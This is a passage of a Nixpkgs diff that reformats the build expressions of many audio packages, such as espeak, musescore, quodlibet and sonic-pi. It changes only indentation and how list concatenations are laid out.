-      sed -e 's,^CXXFLAGS=-O2,CXXFLAGS=-O2 -D PATH_ESPEAK_DATA=\\\"$(DATADIR)\\\",' -i src/Makefile
-    ''
-    + (lib.optionalString (portaudio.api_version == 19) ''
-      cp src/portaudio19.h src/portaudio.h
-    '');
+  prePatch = ''
+    sed -e s,/bin/ln,ln,g -i src/Makefile
+    sed -e 's,^CXXFLAGS=-O2,CXXFLAGS=-O2 -D PATH_ESPEAK_DATA=\\\"$(DATADIR)\\\",' -i src/Makefile
+  ''
+  + (lib.optionalString (portaudio.api_version == 19) ''
+    cp src/portaudio19.h src/portaudio.h
+  '');
 
   configurePhase = ''
     cd src
diff --git a/pkgs/applications/audio/espeak/edit.nix b/pkgs/applications/audio/espeak/edit.nix
index a4b5536e6f99..b295b792fc97 100644
--- a/pkgs/applications/audio/espeak/edit.nix
+++ b/pkgs/applications/audio/espeak/edit.nix
@@ -45,21 +45,20 @@ stdenv.mkDerivation rec {
     ./espeakedit-wxgtk30.patch
   ];
 
-  postPatch =
-    ''
-      # Disable -Wall flag because it's noisy
-      sed -i "s/-Wall//g" src/Makefile
+  postPatch = ''
+    # Disable -Wall flag because it's noisy
+    sed -i "s/-Wall//g" src/Makefile
 
-      # Fixup paths (file names from above espeak-configurable* patches)
-      for file in src/compiledata.cpp src/readclause.cpp src/speech.h; do
-          sed -e "s|@sox@|${sox}/bin/sox|" \
-              -e "s|@prefix@|$out|" \
-              -i "$file"
-      done
-    ''
-    + lib.optionalString (portaudio.api_version == 19) ''
-      cp src/portaudio19.h src/portaudio.h
-    '';
+    # Fixup paths (file names from above espeak-configurable* patches)
+    for file in src/compiledata.cpp src/readclause.cpp src/speech.h; do
+        sed -e "s|@sox@|${sox}/bin/sox|" \
+            -e "s|@prefix@|$out|" \
+            -i "$file"
+    done
+  ''
+  + lib.optionalString (portaudio.api_version == 19) ''
+    cp src/portaudio19.h src/portaudio.h
+  '';
 
   buildPhase = ''
     make -C src
diff --git a/pkgs/applications/audio/fmit/default.nix b/pkgs/applications/audio/fmit/default.nix
index 9455874ded68..93ba47a931fd 100644
--- a/pkgs/applications/audio/fmit/default.nix
+++ b/pkgs/applications/audio/fmit/default.nix
@@ -36,33 +36,31 @@ mkDerivation rec {
     itstool
     wrapQtAppsHook
   ];
-  buildInputs =
-    [
-      fftw
-      qtbase
-      qtmultimedia
-    ]
-    ++ lib.optionals alsaSupport [ alsa-lib ]
-    ++ lib.optionals jackSupport [ libjack2 ]
-    ++ lib.optionals portaudioSupport [ portaudio ];
+  buildInputs = [
+    fftw
+    qtbase
+    qtmultimedia
+  ]
+  ++ lib.optionals alsaSupport [ alsa-lib ]
+  ++ lib.optionals jackSupport [ libjack2 ]
+  ++ lib.optionals portaudioSupport [ portaudio ];
 
   postPatch = ''
     substituteInPlace fmit.pro --replace '$$FMITVERSIONGITPRO' '${version}'
   '';
 
-  qmakeFlags =
-    [
-      "PREFIXSHORTCUT=${placeholder "out"}"
-    ]
-    ++ lib.optionals alsaSupport [
-      "CONFIG+=acs_alsa"
-    ]
-    ++ lib.optionals jackSupport [
-      "CONFIG+=acs_jack"
-    ]
-    ++ lib.optionals portaudioSupport [
-      "CONFIG+=acs_portaudio"
-    ];
+  qmakeFlags = [
+    "PREFIXSHORTCUT=${placeholder "out"}"
+  ]
+  ++ lib.optionals alsaSupport [
+    "CONFIG+=acs_alsa"
+  ]
+  ++ lib.optionals jackSupport [
+    "CONFIG+=acs_jack"
+  ]
+  ++ lib.optionals portaudioSupport [
+    "CONFIG+=acs_portaudio"
+  ];
 
   meta = with lib; {
     description = "Free Musical Instrument Tuner";
diff --git a/pkgs/applications/audio/guitarix/default.nix b/pkgs/applications/audio/guitarix/default.nix
index 35df0699b260..b7ae5c9f1e5e 100644
--- a/pkgs/applications/audio/guitarix/default.nix
+++ b/pkgs/applications/audio/guitarix/default.nix
@@ -101,7 +101,8 @@ stdenv.mkDerivation (finalAttrs: {
     "--no-desktop-update"
     "--enable-nls"
     "--install-roboto-font"
-  ] ++ optional optimizationSupport "--optimization";
+  ]
+  ++ optional optimizationSupport "--optimization";
 
   env.NIX_CFLAGS_COMPILE = toString [ "-fpermissive" ];
 
diff --git a/pkgs/applications/audio/jamesdsp/default.nix b/pkgs/applications/audio/jamesdsp/default.nix
index 1849a8c428a2..330b3a4ec78a 100644
--- a/pkgs/applications/audio/jamesdsp/default.nix
+++ b/pkgs/applications/audio/jamesdsp/default.nix
@@ -52,23 +52,22 @@ stdenv.mkDerivation (finalAttrs: {
     ./fix-build-on-qt6_9.diff
   ];
 
-  buildInputs =
-    [
-      glibmm
-      libarchive
-      qtbase
-      qtsvg
-      qtwayland
-    ]
-    ++ lib.optionals usePipewire [
-      pipewire
-    ]
-    ++ lib.optionals usePulseaudio [
-      pulseaudio
-      gst_all_1.gst-plugins-base
-      gst_all_1.gst-plugins-good
-      gst_all_1.gstreamer
-    ];
+  buildInputs = [
+    glibmm
+    libarchive
+    qtbase
+    qtsvg
+    qtwayland
+  ]
+  ++ lib.optionals usePipewire [
+    pipewire
+  ]
+  ++ lib.optionals usePulseaudio [
+    pulseaudio
+    gst_all_1.gst-plugins-base
+    gst_all_1.gst-plugins-good
+    gst_all_1.gstreamer
+  ];
 
   preFixup = lib.optionalString usePulseaudio ''
     qtWrapperArgs+=(--prefix GST_PLUGIN_SYSTEM_PATH_1_0 : "$GST_PLUGIN_SYSTEM_PATH_1_0")
diff --git a/pkgs/applications/audio/librespot/default.nix b/pkgs/applications/audio/librespot/default.nix
index bcb2d3a739f8..9694c3d0cf4f 100644
--- a/pkgs/applications/audio/librespot/default.nix
+++ b/pkgs/applications/audio/librespot/default.nix
@@ -34,21 +34,21 @@ rustPlatform.buildRustPackage rec {
   useFetchCargoVendor = true;
   cargoHash = "sha256-SqvJSHkyd1IicT6c4pE96dBJNNodULhpyG14HRGVWCk=";
 
-  nativeBuildInputs =
-    [
-      pkg-config
-      makeWrapper
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      rustPlatform.bindgenHook
-    ];
+  nativeBuildInputs = [
+    pkg-config
+    makeWrapper
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    rustPlatform.bindgenHook
+  ];
 
-  buildInputs =
-    [ openssl ]
-    ++ lib.optional withALSA alsa-lib
-    ++ lib.optional withDNS-SD avahi-compat
-    ++ lib.optional withPortAudio portaudio
-    ++ lib.optional withPulseAudio libpulseaudio;
+  buildInputs = [
+    openssl
+  ]
+  ++ lib.optional withALSA alsa-lib
+  ++ lib.optional withDNS-SD avahi-compat
+  ++ lib.optional withPortAudio portaudio
+  ++ lib.optional withPulseAudio libpulseaudio;
 
   buildNoDefaultFeatures = true;
   buildFeatures =
diff --git a/pkgs/applications/audio/mellowplayer/default.nix b/pkgs/applications/audio/mellowplayer/default.nix
index 0b51b83f98f7..4e272459bcd4 100644
--- a/pkgs/applications/audio/mellowplayer/default.nix
+++ b/pkgs/applications/audio/mellowplayer/default.nix
@@ -44,29 +44,28 @@ mkDerivation rec {
 
   cmakeFlags = [ "-DBUILD_TESTS=ON" ];
 
-  preCheck =
-    ''
-      # Running the tests requires a location at the home directory for logging.
-      export HOME="$NIX_BUILD_TOP/home"
-      mkdir -p "$HOME/.local/share/MellowPlayer.Tests/MellowPlayer.Tests/Logs"
+  preCheck = ''
+    # Running the tests requires a location at the home directory for logging.
+    export HOME="$NIX_BUILD_TOP/home"
+    mkdir -p "$HOME/.local/share/MellowPlayer.Tests/MellowPlayer.Tests/Logs"
 
-      # Without this, the tests fail because they cannot create the QT Window
-      export QT_QPA_PLATFORM=offscreen
-    ''
-    # TODO: The tests are failing because it can't locate QT plugins. Is there a better way to do this?
-    + (builtins.concatStringsSep "\n" (
-      lib.lists.flatten (
-        builtins.map (pkg: [
-          (lib.optionalString (pkg ? qtPluginPrefix) ''
-            export QT_PLUGIN_PATH="${pkg}/${pkg.qtPluginPrefix}"''${QT_PLUGIN_PATH:+':'}$QT_PLUGIN_PATH
-          '')
+    # Without this, the tests fail because they cannot create the QT Window
+    export QT_QPA_PLATFORM=offscreen
+  ''
+  # TODO: The tests are failing because it can't locate QT plugins. Is there a better way to do this?
+  + (builtins.concatStringsSep "\n" (
+    lib.lists.flatten (
+      builtins.map (pkg: [
+        (lib.optionalString (pkg ? qtPluginPrefix) ''
+          export QT_PLUGIN_PATH="${pkg}/${pkg.qtPluginPrefix}"''${QT_PLUGIN_PATH:+':'}$QT_PLUGIN_PATH
+        '')
 
-          (lib.optionalString (pkg ? qtQmlPrefix) ''
-            export QML2_IMPORT_PATH="${pkg}/${pkg.qtQmlPrefix}"''${QML2_IMPORT_PATH:+':'}$QML2_IMPORT_PATH
-          '')
-        ]) buildInputs
-      )
-    ));
+        (lib.optionalString (pkg ? qtQmlPrefix) ''
+          export QML2_IMPORT_PATH="${pkg}/${pkg.qtQmlPrefix}"''${QML2_IMPORT_PATH:+':'}$QML2_IMPORT_PATH
+        '')
+      ]) buildInputs
+    )
+  ));
 
   meta = with lib; {
     inherit (qtbase.meta) platforms;
diff --git a/pkgs/applications/audio/miniaudicle/default.nix b/pkgs/applications/audio/miniaudicle/default.nix
index 8e31ba3324ec..117d5b3d3450 100644
--- a/pkgs/applications/audio/miniaudicle/default.nix
+++ b/pkgs/applications/audio/miniaudicle/default.nix
@@ -43,14 +43,13 @@ stdenv.mkDerivation (finalAttrs: {
     wrapQtAppsHook
   ];
 
-  buildInputs =
-    [
-      alsa-lib
-      libsndfile
-      qt6Packages.qscintilla
-    ]
-    ++ lib.optional (audioBackend == "pulse") libpulseaudio
-    ++ lib.optional (audioBackend == "jack") libjack2;
+  buildInputs = [
+    alsa-lib
+    libsndfile
+    qt6Packages.qscintilla
+  ]
+  ++ lib.optional (audioBackend == "pulse") libpulseaudio
+  ++ lib.optional (audioBackend == "jack") libjack2;
 
   buildFlags = [ "linux-${audioBackend}" ];
 
diff --git a/pkgs/applications/audio/mmlgui/default.nix b/pkgs/applications/audio/mmlgui/default.nix
index 24665b7ddc55..9b46307cd780 100644
--- a/pkgs/applications/audio/mmlgui/default.nix
+++ b/pkgs/applications/audio/mmlgui/default.nix
@@ -50,16 +50,15 @@ stdenv.mkDerivation {
     pkg-config
   ];
 
-  buildInputs =
-    [
-      glfw
-      libvgm
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [
-      libX11
-      libXau
-      libXdmcp
-    ];
+  buildInputs = [
+    glfw
+    libvgm
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [
+    libX11
+    libXau
+    libXdmcp
+  ];
 
   checkInputs = [
     cppunit
diff --git a/pkgs/applications/audio/mopidy/iris.nix b/pkgs/applications/audio/mopidy/iris.nix
index d07b29452832..f33d76f9ccc5 100644
--- a/pkgs/applications/audio/mopidy/iris.nix
+++ b/pkgs/applications/audio/mopidy/iris.nix
@@ -14,15 +14,14 @@ python3Packages.buildPythonApplication rec {
     hash = "sha256-PEAXnapiyxozijR053I7zQYRYLeDOV719L0QbO2r4r4=";
   };
 
-  propagatedBuildInputs =
-    [
-      mopidy
-    ]
-    ++ (with python3Packages; [
-      configobj
-      requests
-      tornado
-    ]);
+  propagatedBuildInputs = [
+    mopidy
+  ]
+  ++ (with python3Packages; [
+    configobj
+    requests
+    tornado
+  ]);
 
   # no tests implemented
   doCheck = false;
diff --git a/pkgs/applications/audio/mopidy/mopidy.nix b/pkgs/applications/audio/mopidy/mopidy.nix
index 6cb96daea52b..08de4d7b064b 100644
--- a/pkgs/applications/audio/mopidy/mopidy.nix
+++ b/pkgs/applications/audio/mopidy/mopidy.nix
@@ -49,20 +49,21 @@ pythonPackages.buildPythonApplication rec {
     pipewire
   ];
 
-  propagatedBuildInputs =
-    [ gobject-introspection ]
-    ++ (
-      with pythonPackages;
-      [
-        gst-python
-        pygobject3
-        pykka
-        requests
-        setuptools
-        tornado
-      ]
-      ++ lib.optional (!stdenv.hostPlatform.isDarwin) dbus-python
-    );
+  propagatedBuildInputs = [
+    gobject-introspection
+  ]
+  ++ (
+    with pythonPackages;
+    [
+      gst-python
+      pygobject3
+      pykka
+      requests
+      setuptools
+      tornado
+    ]
+    ++ lib.optional (!stdenv.hostPlatform.isDarwin) dbus-python
+  );
 
   propagatedNativeBuildInputs = [ gobject-introspection ];
 
diff --git a/pkgs/applications/audio/mpg123/default.nix b/pkgs/applications/audio/mpg123/default.nix
index a919a0d98c4f..db77852c82ea 100644
--- a/pkgs/applications/audio/mpg123/default.nix
+++ b/pkgs/applications/audio/mpg123/default.nix
@@ -32,7 +32,8 @@ stdenv.mkDerivation rec {
     "out"
     "dev"
     "man"
-  ] ++ lib.optional withConplay "conplay";
+  ]
+  ++ lib.optional withConplay "conplay";
 
   nativeBuildInputs = lib.optionals (!libOnly) (
     lib.optionals withConplay [ makeWrapper ] ++ lib.optionals (withPulse || withJack) [ pkg-config ]
diff --git a/pkgs/applications/audio/munt/mt32emu-qt.nix b/pkgs/applications/audio/munt/mt32emu-qt.nix
index 0a75f0620383..eb6e9aabd7d4 100644
--- a/pkgs/applications/audio/munt/mt32emu-qt.nix
+++ b/pkgs/applications/audio/munt/mt32emu-qt.nix
@@ -38,18 +38,17 @@ mkDerivation rec {
     pkg-config
   ];
 
-  buildInputs =
-    [
-      libmt32emu
-      portaudio
-      qtbase
-      qtmultimedia
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [
-      alsa-lib
-      libpulseaudio
-    ]
-    ++ lib.optional withJack libjack2;
+  buildInputs = [
+    libmt32emu
+    portaudio
+    qtbase
+    qtmultimedia
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [
+    alsa-lib
+    libpulseaudio
+  ]
+  ++ lib.optional withJack libjack2;
 
   dontFixCmake = true;
 
diff --git a/pkgs/applications/audio/musescore/default.nix b/pkgs/applications/audio/musescore/default.nix
index d5937376d1d7..d0dc6f529558 100644
--- a/pkgs/applications/audio/musescore/default.nix
+++ b/pkgs/applications/audio/musescore/default.nix
@@ -65,21 +65,20 @@ stdenv.mkDerivation (finalAttrs: {
     (lib.cmakeBool "MUSE_ENABLE_UNIT_TESTS" finalAttrs.finalPackage.doCheck)
   ];
 
-  qtWrapperArgs =
-    [
-      # MuseScore JACK backend loads libjack at runtime.
-      "--prefix ${lib.optionalString stdenv.hostPlatform.isDarwin "DY"}LD_LIBRARY_PATH : ${
-        lib.makeLibraryPath [ libjack2 ]
-      }"
-    ]
-    ++ lib.optionals (stdenv.hostPlatform.isLinux) [
-      "--set ALSA_PLUGIN_DIR ${alsa-plugins}/lib/alsa-lib"
-    ]
-    ++ lib.optionals (!stdenv.hostPlatform.isDarwin) [
-      # There are some issues with using the wayland backend, see:
-      # https://musescore.org/en/node/321936
-      "--set-default QT_QPA_PLATFORM xcb"
-    ];
+  qtWrapperArgs = [
+    # MuseScore JACK backend loads libjack at runtime.
+    "--prefix ${lib.optionalString stdenv.hostPlatform.isDarwin "DY"}LD_LIBRARY_PATH : ${
+      lib.makeLibraryPath [ libjack2 ]
+    }"
+  ]
+  ++ lib.optionals (stdenv.hostPlatform.isLinux) [
+    "--set ALSA_PLUGIN_DIR ${alsa-plugins}/lib/alsa-lib"
+  ]
+  ++ lib.optionals (!stdenv.hostPlatform.isDarwin) [
+    # There are some issues with using the wayland backend, see:
+    # https://musescore.org/en/node/321936
+    "--set-default QT_QPA_PLATFORM xcb"
+  ];
 
   preFixup = ''
     qtWrapperArgs+=("''${gappsWrapperArgs[@]}")
@@ -87,46 +86,44 @@ stdenv.mkDerivation (finalAttrs: {
 
   dontWrapGApps = true;
 
-  nativeBuildInputs =
-    [
-      wrapQtAppsHook
-      cmake
-      qttools
-      pkg-config
-      ninja
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [
-      # Since https://github.com/musescore/MuseScore/pull/13847/commits/685ac998
-      # GTK3 is needed for file dialogs. Fixes crash with No GSettings schemas error.
-      wrapGAppsHook3
-    ];
+  nativeBuildInputs = [
+    wrapQtAppsHook
+    cmake
+    qttools
+    pkg-config
+    ninja
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [
+    # Since https://github.com/musescore/MuseScore/pull/13847/commits/685ac998
+    # GTK3 is needed for file dialogs. Fixes crash with No GSettings schemas error.
+    wrapGAppsHook3
+  ];
 
-  buildInputs =
-    [
-      libjack2
-      freetype
-      lame
-      libogg
-      libpulseaudio
-      libsndfile
-      libvorbis
-      portaudio
-      portmidi
-      flac
-      libopusenc
-      libopus
-      tinyxml-2
-      qtbase
-      qtdeclarative
-      qt5compat
-      qtsvg
-      qtscxml
-      qtnetworkauth
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [
-      alsa-lib
-      qtwayland
-    ];
+  buildInputs = [
+    libjack2
+    freetype
+    lame
+    libogg
+    libpulseaudio
+    libsndfile
+    libvorbis
+    portaudio
+    portmidi
+    flac
+    libopusenc
+    libopus
+    tinyxml-2
+    qtbase
+    qtdeclarative
+    qt5compat
+    qtsvg
+    qtscxml
+    qtnetworkauth
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [
+    alsa-lib
+    qtwayland
+  ];
 
   postInstall = lib.optionalString stdenv.hostPlatform.isDarwin ''
     mkdir -p "$out/Applications"
diff --git a/pkgs/applications/audio/open-music-kontrollers/generic.nix b/pkgs/applications/audio/open-music-kontrollers/generic.nix
index 9d07272720ac..4d59d63857c0 100644
--- a/pkgs/applications/audio/open-music-kontrollers/generic.nix
+++ b/pkgs/applications/audio/open-music-kontrollers/generic.nix
@@ -44,7 +44,8 @@ stdenv.mkDerivation {
     libXext
     glew
     lv2lint
-  ] ++ additionalBuildInputs;
+  ]
+  ++ additionalBuildInputs;
 
   meta = with lib; {
     broken = stdenv.hostPlatform.isDarwin;
diff --git a/pkgs/applications/audio/pithos/default.nix b/pkgs/applications/audio/pithos/default.nix
index c0d130b421ca..ebe2d92b38e5 100644
--- a/pkgs/applications/audio/pithos/default.nix
+++ b/pkgs/applications/audio/pithos/default.nix
@@ -44,27 +44,27 @@ pythonPackages.buildPythonApplication rec {
     gobject-introspection
   ];
 
-  buildInputs =
-    [
-      gtk3
-      libnotify
-      libsecret
-      glib
-    ]
-    ++ (with gst_all_1; [
-      gstreamer
-      gst-plugins-base
-      gst-plugins-good
-      gst-plugins-ugly
-      gst-plugins-bad
-    ]);
+  buildInputs = [
+    gtk3
+    libnotify
+    libsecret
+    glib
+  ]
+  ++ (with gst_all_1; [
+    gstreamer
+    gst-plugins-base
+    gst-plugins-good
+    gst-plugins-ugly
+    gst-plugins-bad
+  ]);
 
-  propagatedBuildInputs =
-    [ adwaita-icon-theme ]
-    ++ (with pythonPackages; [
-      pygobject3
-      pylast
-    ]);
+  propagatedBuildInputs = [
+    adwaita-icon-theme
+  ]
+  ++ (with pythonPackages; [
+    pygobject3
+    pylast
+  ]);
 
   meta = with lib; {
     broken = stdenv.hostPlatform.isDarwin;
diff --git a/pkgs/applications/audio/puredata/default.nix b/pkgs/applications/audio/puredata/default.nix
index 7df504767cdb..035a5a1f7c52 100644
--- a/pkgs/applications/audio/puredata/default.nix
+++ b/pkgs/applications/audio/puredata/default.nix
@@ -33,35 +33,33 @@ stdenv.mkDerivation rec {
     makeWrapper
   ];
 
-  buildInputs =
-    [
-      fftw
-      libjack2
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [
-      alsa-lib
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      portmidi
-      portaudio
-    ];
+  buildInputs = [
+    fftw
+    libjack2
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [
+    alsa-lib
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    portmidi
+    portaudio
+  ];
 
-  configureFlags =
-    [
-      "--enable-fftw"
-      "--enable-jack"
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [
-      "--enable-alsa"
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      "--enable-portaudio"
-      "--enable-portmidi"
-      "--without-local-portaudio"
-      "--without-local-portmidi"
-      "--disable-jack-framework"
-      "--with-wish=${tk}/bin/wish8.6"
-    ];
+  configureFlags = [
+    "--enable-fftw"
+    "--enable-jack"
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [
+    "--enable-alsa"
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    "--enable-portaudio"
+    "--enable-portmidi"
+    "--without-local-portaudio"
+    "--without-local-portmidi"
+    "--disable-jack-framework"
+    "--with-wish=${tk}/bin/wish8.6"
+  ];
 
   postInstall = ''
     wrapProgram $out/bin/pd --prefix PATH : ${lib.makeBinPath [ tk ]}
diff --git a/pkgs/applications/audio/quodlibet/default.nix b/pkgs/applications/audio/quodlibet/default.nix
index ee2b4f8a842b..d7c6027683e2 100644
--- a/pkgs/applications/audio/quodlibet/default.nix
+++ b/pkgs/applications/audio/quodlibet/default.nix
@@ -65,45 +65,43 @@ python3.pkgs.buildPythonApplication {
 
   build-system = [ python3.pkgs.setuptools ];
 
-  nativeBuildInputs =
-    [
-      gettext
-      gobject-introspection
-      wrapGAppsHook3
-    ]
-    ++ (with python3.pkgs; [
-      sphinx-rtd-theme
-      sphinxHook
-    ]);
+  nativeBuildInputs = [
+    gettext
+    gobject-introspection
+    wrapGAppsHook3
+  ]
+  ++ (with python3.pkgs; [
+    sphinx-rtd-theme
+    sphinxHook
+  ]);
 
-  buildInputs =
+  buildInputs = [
+    adwaita-icon-theme
+    gdk-pixbuf
+    glib
+    glib-networking
+    gtk3
+    gtksourceview
+    kakasi
+    keybinder3
+    libappindicator-gtk3
+    libmodplug
+    libsoup_3
+  ]
+  ++ lib.optionals (withXineBackend) [ xine-lib ]
+  ++ lib.optionals (withGstreamerBackend) (
+    with gst_all_1;
     [
-      adwaita-icon-theme
-      gdk-pixbuf
-      glib
-      glib-networking
-      gtk3
-      gtksourceview
-      kakasi
-      keybinder3
-      libappindicator-gtk3
-      libmodplug
-      libsoup_3
+      gst-plugins-base
+      gstreamer
     ]
-    ++ lib.optionals (withXineBackend) [ xine-lib ]
-    ++ lib.optionals (withGstreamerBackend) (
-      with gst_all_1;
-      [
-        gst-plugins-base
-        gstreamer
-      ]
-      ++ lib.optionals (withGstPlugins) [
-        gst-libav
-        gst-plugins-bad
-        gst-plugins-good
-        gst-plugins-ugly
-      ]
-    );
+    ++ lib.optionals (withGstPlugins) [
+      gst-libav
+      gst-plugins-bad
+      gst-plugins-good
+      gst-plugins-ugly
+    ]
+  );
 
   dependencies =
     with python3.pkgs;
@@ -120,33 +118,31 @@ python3.pkgs.buildPythonApplication {
     ++ lib.optionals withPypresence [ pypresence ]
     ++ lib.optionals withSoco [ soco ];
 
-  nativeCheckInputs =
-    [
-      dbus
-      gdk-pixbuf
-      glibcLocales
-      hicolor-icon-theme
-      xvfb-run
-    ]
-    ++ (with python3.pkgs; [
-      polib
-      pytest
-      pytest-xdist
-    ]);
+  nativeCheckInputs = [
+    dbus
+    gdk-pixbuf
+    glibcLocales
+    hicolor-icon-theme
+    xvfb-run
+  ]
+  ++ (with python3.pkgs; [
+    polib
+    pytest
+    pytest-xdist
+  ]);
 
-  pytestFlags =
-    [
-      # missing translation strings in potfiles
-      "--deselect=tests/test_po.py::TPOTFILESIN::test_missing"
-      # require networking
-      "--deselect=tests/plugin/test_covers.py::test_live_cover_download"
-      "--deselect=tests/test_browsers_iradio.py::TInternetRadio::test_click_add_station"
-      # upstream does actually not enforce source code linting
-      "--ignore=tests/quality"
-    ]
-    ++ lib.optionals (withXineBackend || !withGstPlugins) [
-      "--ignore=tests/plugin/test_replaygain.py"
-    ];
+  pytestFlags = [
+    # missing translation strings in potfiles
+    "--deselect=tests/test_po.py::TPOTFILESIN::test_missing"
+    # require networking
+    "--deselect=tests/plugin/test_covers.py::test_live_cover_download"
+    "--deselect=tests/test_browsers_iradio.py::TInternetRadio::test_click_add_station"
+    # upstream does actually not enforce source code linting
+    "--ignore=tests/quality"
+  ]
+  ++ lib.optionals (withXineBackend || !withGstPlugins) [
+    "--ignore=tests/plugin/test_replaygain.py"
+  ];
 
   env.LC_ALL = "en_US.UTF-8";
 
diff --git a/pkgs/applications/audio/radiotray-ng/default.nix b/pkgs/applications/audio/radiotray-ng/default.nix
index adaf0fc898fb..e94b0b161c49 100644
--- a/pkgs/applications/audio/radiotray-ng/default.nix
+++ b/pkgs/applications/audio/radiotray-ng/default.nix
@@ -67,25 +67,24 @@ stdenv.mkDerivation rec {
     makeWrapper
   ];
 
-  buildInputs =
-    [
-      curl
-      boost
-      jsoncpp
-      libbsd
-      glibmm
-      hicolor-icon-theme
-      gsettings-desktop-schemas
-      libappindicator-gtk3
-      libnotify
-      libxdg_basedir
-      lsb-release
-      wxGTK
-      # for https gstreamer / libsoup
-      glib-networking
-    ]
-    ++ gstInputs
-    ++ pythonInputs;
+  buildInputs = [
+    curl
+    boost
+    jsoncpp
+    libbsd
+    glibmm
+    hicolor-icon-theme
+    gsettings-desktop-schemas
+    libappindicator-gtk3
+    libnotify
+    libxdg_basedir
+    lsb-release
+    wxGTK
+    # for https gstreamer / libsoup
+    glib-networking
+  ]
+  ++ gstInputs
+  ++ pythonInputs;
 
   patches = [
     ./no-dl-googletest.patch
diff --git a/pkgs/applications/audio/reaper/default.nix b/pkgs/applications/audio/reaper/default.nix
index 0f7988df1b6c..f3e93f576507 100644
--- a/pkgs/applications/audio/reaper/default.nix
+++ b/pkgs/applications/audio/reaper/default.nix
@@ -53,29 +53,27 @@ stdenv.mkDerivation rec {
         .${stdenv.hostPlatform.system};
   };
 
-  nativeBuildInputs =
-    [
-      makeWrapper
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [
-      which
-      autoPatchelfHook
-      xdg-utils # Required for desktop integration
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      undmg
-    ];
+  nativeBuildInputs = [
+    makeWrapper
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [
+    which
+    autoPatchelfHook
+    xdg-utils # Required for desktop integration
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    undmg
+  ];
 
   sourceRoot = lib.optionalString stdenv.hostPlatform.isDarwin "Reaper.app";
 
-  buildInputs =
-    [
-      (lib.getLib stdenv.cc.cc) # reaper and libSwell need libstdc++.so.6
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [
-      gtk3
-      alsa-lib
-    ];
+  buildInputs = [
+    (lib.getLib stdenv.cc.cc) # reaper and libSwell need libstdc++.so.6
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [
+    gtk3
+    alsa-lib
+  ];
 
   runtimeDependencies =
     lib.optionals stdenv.hostPlatform.isLinux [
diff --git a/pkgs/applications/audio/sayonara/default.nix b/pkgs/applications/audio/sayonara/default.nix
index 8426cc20e2e1..bd9331d6bc7e 100644
--- a/pkgs/applications/audio/sayonara/default.nix
+++ b/pkgs/applications/audio/sayonara/default.nix
@@ -47,22 +47,21 @@ mkDerivation rec {
     qttools
   ];
 
-  buildInputs =
-    [
-      libpulseaudio
-      pcre
-      qtbase
-      taglib
-      zlib
-      py
-    ]
-    ++ (with gst_all_1; [
-      gstreamer
-      gst-plugins-base
-      gst-plugins-good
-      gst-plugins-bad
-      gst-plugins-ugly
-    ]);
+  buildInputs = [
+    libpulseaudio
+    pcre
+    qtbase
+    taglib
+    zlib
+    py
+  ]
+  ++ (with gst_all_1; [
+    gstreamer
+    gst-plugins-base
+    gst-plugins-good
+    gst-plugins-bad
+    gst-plugins-ugly
+  ]);
 
   # we carry the patched taglib 1.11.1 that doesn't break ogg but sayonara just
   # checks for the version
diff --git a/pkgs/applications/audio/snapcast/default.nix b/pkgs/applications/audio/snapcast/default.nix
index 205f8cd80749..9ba36c4b6b5a 100644
--- a/pkgs/applications/audio/snapcast/default.nix
+++ b/pkgs/applications/audio/snapcast/default.nix
@@ -38,22 +38,21 @@ stdenv.mkDerivation rec {
   ];
   # snapcast also supports building against tremor but as we have libogg, that's
   # not needed
-  buildInputs =
-    [
-      boost
-      asio
-      avahi
-      flac
-      libogg
-      libvorbis
-      libopus
-      aixlog
-      popl
-      soxr
-      openssl
-    ]
-    ++ lib.optional pulseaudioSupport libpulseaudio
-    ++ lib.optional stdenv.hostPlatform.isLinux alsa-lib;
+  buildInputs = [
+    boost
+    asio
+    avahi
+    flac
+    libogg
+    libvorbis
+    libopus
+    aixlog
+    popl
+    soxr
+    openssl
+  ]
+  ++ lib.optional pulseaudioSupport libpulseaudio
+  ++ lib.optional stdenv.hostPlatform.isLinux alsa-lib;
 
   TARGET = lib.optionalString stdenv.hostPlatform.isDarwin "MACOS";
 
diff --git a/pkgs/applications/audio/sonic-pi/default.nix b/pkgs/applications/audio/sonic-pi/default.nix
index 221f67badc02..f073b1c2ba8c 100644
--- a/pkgs/applications/audio/sonic-pi/default.nix
+++ b/pkgs/applications/audio/sonic-pi/default.nix
@@ -77,32 +77,31 @@ stdenv.mkDerivation rec {
     beamPackages.hex
   ];
 
-  buildInputs =
-    [
-      qtbase
-      qtsvg
-      qttools
-      qwt
-      qscintilla
-      kissfftFloat
-      catch2_3
-      crossguid
-      reproc
-      platform-folders
-      ruby
-      alsa-lib
-      rtmidi
-      boost
-      aubio
-    ]
-    ++ lib.optionals withTauWidget [
-      qtwebengine
-    ]
-    ++ lib.optionals withImGui [
-      gl3w
-      SDL2
-      fmt
-    ];
+  buildInputs = [
+    qtbase
+    qtsvg
+    qttools
+    qwt
+    qscintilla
+    kissfftFloat
+    catch2_3
+    crossguid
+    reproc
+    platform-folders
+    ruby
+    alsa-lib
+    rtmidi
+    boost
+    aubio
+  ]
+  ++ lib.optionals withTauWidget [
